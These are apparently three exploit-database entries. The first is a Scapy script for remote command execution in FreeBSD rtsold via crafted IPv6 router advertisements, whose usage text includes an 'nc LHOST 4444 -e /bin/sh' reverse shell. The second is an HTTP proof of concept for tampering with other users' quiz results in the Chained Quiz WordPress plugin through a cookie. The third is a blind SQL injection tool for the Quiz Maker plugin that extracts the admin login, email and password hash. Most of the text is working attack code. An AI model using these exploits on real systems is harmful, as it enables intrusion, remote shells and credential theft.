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‎exploits/multiple/webapps/52463.py‎

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# Exploit Title: FreeBSD rtsold 15.x - Remote Code Execution via DNSSL
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# Date: 2025-12-16
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# Exploit Author: Lukas Johannes Möller
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# Vendor Homepage: https://www.freebsd.org/
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# Version: FreeBSD 13.x, 14.x, 15.x (before 2025-12-16 patches)
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# Tested on: FreeBSD 14.1-RELEASE
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# CVE: CVE-2025-14558
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#
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# Description:
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# rtsold(8) processes IPv6 Router Advertisement DNSSL options without
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# validating domain names for shell metacharacters. The decoded domains
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# are passed to resolvconf(8), a shell script that uses unquoted variable
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# expansion, enabling command injection via $() substitution.
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#
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# Requirements:
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# - Layer 2 adjacency to target
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# - Target running rtsold with ACCEPT_RTADV enabled
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# - Root privileges (raw socket for sending RA)
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# - Python 3 + Scapy
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#
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# References:
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# https://security.FreeBSD.org/advisories/FreeBSD-SA-25:12.rtsold.asc
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# https://github.com/JohannesLks/CVE-2025-14558
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import argparse
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import struct
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import sys
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import time
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try:
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from scapy.all import (
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Ether, IPv6, ICMPv6ND_RA, ICMPv6NDOptPrefixInfo,
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ICMPv6NDOptSrcLLAddr, Raw, get_if_hwaddr, sendp
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)
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except ImportError:
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sys.exit("[!] Scapy required: pip install scapy")
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def encode_domain(name):
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"""Encode domain in DNS wire format (RFC 1035)."""
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result = b""
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for label in name.split("."):
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if label:
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data = label.encode()
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result += bytes([len(data)]) + data
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return result + b"\x00"
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def encode_payload(cmd):
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"""Encode payload as DNS label with $() wrapper for command substitution."""
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payload = f"$({cmd})".encode()
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if len(payload) > 63:
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# Split long payloads across labels (dots inserted on decode)
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result = b""
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while payload:
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chunk = payload[:63]
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payload = payload[63:]
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result += bytes([len(chunk)]) + chunk
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return result + b"\x00"
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return bytes([len(payload)]) + payload + b"\x00"
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def build_dnssl(cmd, lifetime=0xFFFFFFFF):
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"""Build DNSSL option (RFC 6106) with injected command."""
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data = encode_domain("x.local") + encode_payload(cmd)
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# Pad to 8-byte boundary
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pad = (8 - (len(data) + 8) % 8) % 8
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data += b"\x00" * pad
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# Type=31 (DNSSL), Length in 8-octet units
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length = (8 + len(data)) // 8
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return struct.pack(">BBH", 31, length, 0) + struct.pack(">I", lifetime) + data
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def build_ra(mac, payload):
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"""Build Router Advertisement with malicious DNSSL."""
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return (
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Ether(src=mac, dst="33:33:00:00:00:01")
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/ IPv6(src="fe80::1", dst="ff02::1", hlim=255)
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/ ICMPv6ND_RA(chlim=64, M=0, O=1, routerlifetime=1800)
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/ ICMPv6NDOptSrcLLAddr(lladdr=mac)
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/ ICMPv6NDOptPrefixInfo(
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prefixlen=64, L=1, A=1,
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validlifetime=2592000, preferredlifetime=604800,
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prefix="2001:db8::"
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)
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/ Raw(load=build_dnssl(payload))
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)
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def main():
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p = argparse.ArgumentParser(
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description="CVE-2025-14558 - FreeBSD rtsold DNSSL Command Injection",
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epilog="Examples:\n"
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" %(prog)s -i eth0\n"
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" %(prog)s -i eth0 -p 'id>/tmp/pwned'\n"
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" %(prog)s -i eth0 -p 'nc LHOST 4444 -e /bin/sh'",
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formatter_class=argparse.RawDescriptionHelpFormatter
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)
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p.add_argument("-i", "--interface", required=True, help="Network interface")
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p.add_argument("-p", "--payload", default="touch /tmp/pwned", help="Command to execute")
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p.add_argument("-c", "--count", type=int, default=3, help="Packets to send (default: 3)")
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args = p.parse_args()
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try:
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mac = get_if_hwaddr(args.interface)
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except Exception as e:
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sys.exit(f"[!] Interface error: {e}")
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print(f"[*] Interface: {args.interface} ({mac})")
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print(f"[*] Payload: {args.payload}")
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pkt = build_ra(mac, args.payload)
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for i in range(args.count):
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sendp(pkt, iface=args.interface, verbose=False)
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print(f"[+] Sent RA {i+1}/{args.count}")
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if i < args.count - 1:
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time.sleep(1)
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print("[+] Done")
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if __name__ == "__main__":
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main()

‎exploits/multiple/webapps/52464.txt‎

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# Exploit Title: Chained Quiz 1.3.5 - Unauthenticated Insecure Direct Object Reference via Cookie
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# Date: 19-12-2025
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# Exploit Author: Karuppiah Sabari Kumar(0xsabre)
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# Vendor Homepage: https://wordpress.org/plugins/chained-quiz/
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# Software Link: https://downloads.wordpress.org/plugin/chained-quiz.1.3.3.zip
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# Version: <= 1.3.3
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# Tested on: WordPress / Linux
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# CVE: CVE-2025-10493
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------------------------------------------------------------
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## Vulnerability Type
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Insecure Direct Object Reference (IDOR) / Improper Authorization
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------------------------------------------------------------
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## Description
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The Chained Quiz plugin stores each quiz attempt using a predictable,
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auto-incrementing database ID (completion_id) and exposes this value
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directly in a client-side cookie named:
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chained_completion_id<quiz_id>
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When submitting or re-submitting quiz answers via admin-ajax.php, the
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server updates the quiz attempt record based solely on this cookie value,
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without verifying that the attempt belongs to the currently authenticated
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user.
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No authentication is required to exploit this vulnerability when the
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plugin is used with default settings.
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The server retrieves the quiz attempt directly using the completion_id
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from the cookie and performs an UPDATE query without verifying ownership.
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As a result, an attacker can hijack or tamper with other users’ quiz
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attempts by guessing or enumerating valid completion_id values and
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replaying answer submissions.
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------------------------------------------------------------
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## Affected Component
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Quiz submission and results handling functionality via admin-ajax.php
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------------------------------------------------------------
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## Proof of Concept (PoC)
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### Step 1: Victim user submission
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A user completes a quiz. The submission is stored using a completion ID
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and associated with the user’s session via a cookie, for example:
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chained_completion_id1=2
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------------------------------------------------------------
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### Step 2: Attacker interception
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The attacker completes the same quiz and intercepts their own submission
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request using a proxy or browser developer tools.
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Example request:
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POST /wp-admin/admin-ajax.php HTTP/1.1
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Host: localhost
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Cookie: chained_completion_id1=1
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Connection: keep-alive
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Content-Type: application/x-www-form-urlencoded
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answer=0&question_id=1&quiz_id=1&post_id=117&question_type=radio&points=0&action=chainedquiz_ajax&chainedquiz_action=answer&total_questions=1
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------------------------------------------------------------
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### Step 3: Tampering
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The attacker modifies the cookie value to match another user’s quiz
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attempt, for example:
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chained_completion_id1=2
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The attacker may also modify parameters such as "answer" or "points" to
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manipulate quiz responses or scores.
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The modified request is then sent to the server.
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------------------------------------------------------------
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### Step 4: Result
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The server overwrites the victim user’s quiz submission, including answers
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and points, without validating ownership of the completion ID.
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------------------------------------------------------------
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## Impact
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An attacker can arbitrarily modify quiz answers, scores, or results
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belonging to other users. This results in an integrity violation of quiz
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data and allows unauthorized manipulation of finalized quiz attempts.
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In environments where quiz results are used for assessments, leaderboards,
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or certificates, this can undermine trust in the platform and affect any
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downstream integrations that rely on quiz completion data.
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------------------------------------------------------------
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## CWE
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- CWE-639: Authorization Bypass Through User-Controlled Key
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- CWE-285: Improper Authorization
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------------------------------------------------------------

‎exploits/multiple/webapps/52465.py‎

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# Exploit Title: WordPress Quiz Maker 6.7.0.56 - SQL Injection
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# Date: 2025-12-16
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# Exploit Author: Rahul Sreenivasan (Tr0j4n)
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# Vendor Homepage: https://ays-pro.com/wordpress/quiz-maker
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# Software Link: https://wordpress.org/plugins/quiz-maker/
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# Version: <= 6.7.0.56
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# Tested on: WordPress 6.x with Quiz Maker 6.7.0.56 on Ubuntu/Nginx/PHP-FPM
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# CVE: CVE-2025-10042
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from argparse import ArgumentParser
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from requests import get
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from requests.packages.urllib3 import disable_warnings
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from requests.packages.urllib3.exceptions import InsecureRequestWarning
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from time import time
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from sys import exit
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disable_warnings(InsecureRequestWarning)
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CHARSET = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_-@.!$/:?"
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def send_payload(url, path, header, payload, timeout):
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target = f"{url.rstrip('/')}/{path.lstrip('/')}"
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headers = {
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"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
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header: payload
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}
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try:
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start = time()
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get(target, headers=headers, timeout=timeout, verify=False)
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return time() - start
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except:
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return timeout
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def check_vulnerable(url, path, header, sleep_time, timeout):
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print("[*] Testing for SQL injection vulnerability...")
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baseline = send_payload(url, path, header, "127.0.0.1", timeout)
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print(f"[*] Baseline response time: {baseline:.2f}s")
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payload = f"1' OR SLEEP({sleep_time})#"
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injection = send_payload(url, path, header, payload, timeout)
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print(f"[*] Injection response time: {injection:.2f}s")
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if injection >= sleep_time * 0.7:
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print("[+] Target is VULNERABLE!")
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return True
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else:
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print("[-] Target does not appear to be vulnerable.")
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return False
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def extract_length(url, path, header, query, timeout):
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low, high = 1, 100
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while low < high:
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mid = (low + high) // 2
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payload = f"1' OR IF(LENGTH(({query}))>{mid},SLEEP(1),0)#"
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elapsed = send_payload(url, path, header, payload, timeout)
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if elapsed >= 0.8:
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low = mid + 1
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else:
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high = mid
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return low
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def extract_char(url, path, header, query, position, timeout):
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low, high = 32, 126
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while low < high:
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mid = (low + high) // 2
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payload = f"1' OR IF(ASCII(SUBSTRING(({query}),{position},1))>{mid},SLEEP(1),0)#"
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elapsed = send_payload(url, path, header, payload, timeout)
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if elapsed >= 0.8:
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low = mid + 1
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else:
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high = mid
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return chr(low) if low <= 126 else "?"
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def extract_data(url, path, header, query, timeout):
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length = extract_length(url, path, header, query, timeout)
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print(f"[*] Data length: {length}")
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result = ""
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for i in range(1, length + 1):
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char = extract_char(url, path, header, query, i, timeout)
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result += char
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print(f"\r[*] Extracting: {result}", end="", flush=True)
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print()
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return result
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def dump_users(url, path, header, timeout):
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print("\n[*] Extracting WordPress admin users...")
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# Get admin user login
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query = "SELECT user_login FROM wp_users WHERE ID=1"
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username = extract_data(url, path, header, query, timeout)
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print(f"[+] Username: {username}")
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# Get admin email
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query = "SELECT user_email FROM wp_users WHERE ID=1"
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email = extract_data(url, path, header, query, timeout)
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print(f"[+] Email: {email}")
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# Get password hash
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query = "SELECT user_pass FROM wp_users WHERE ID=1"
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password = extract_data(url, path, header, query, timeout)
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print(f"[+] Password Hash: {password}")
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return username, email, password
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def main():
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parser = ArgumentParser(description="WordPress Quiz Maker SQLi Exploit (CVE-2025-10042)")
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parser.add_argument("-u", "--url", required=True, help="Target WordPress URL")
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parser.add_argument("-p", "--path", required=True, help="Path to quiz page")
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parser.add_argument("-H", "--header", default="X-Forwarded-For", help="Header for injection")
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parser.add_argument("-t", "--timeout", type=int, default=10, help="Request timeout")
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parser.add_argument("--check", action="store_true", help="Only check vulnerability")
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parser.add_argument("--dump", action="store_true", help="Dump admin credentials")
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parser.add_argument("--query", help="Custom SQL query to extract")
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args = parser.parse_args()
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print("[+] WordPress Quiz Maker SQLi Exploit (CVE-2025-10042)")
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print(f"[+] Target: {args.url}")
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if not check_vulnerable(args.url, args.path, args.header, 3, args.timeout):
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exit(1)
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if args.check:
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exit(0)
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if args.dump:
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dump_users(args.url, args.path, args.header, args.timeout)
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elif args.query:
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print(f"\n[*] Executing custom query: {args.query}")
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result = extract_data(args.url, args.path, args.header, args.query, args.timeout)
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print(f"[+] Result: {result}")
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else:
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dump_users(args.url, args.path, args.header, args.timeout)
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if __name__ == "__main__":
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main()

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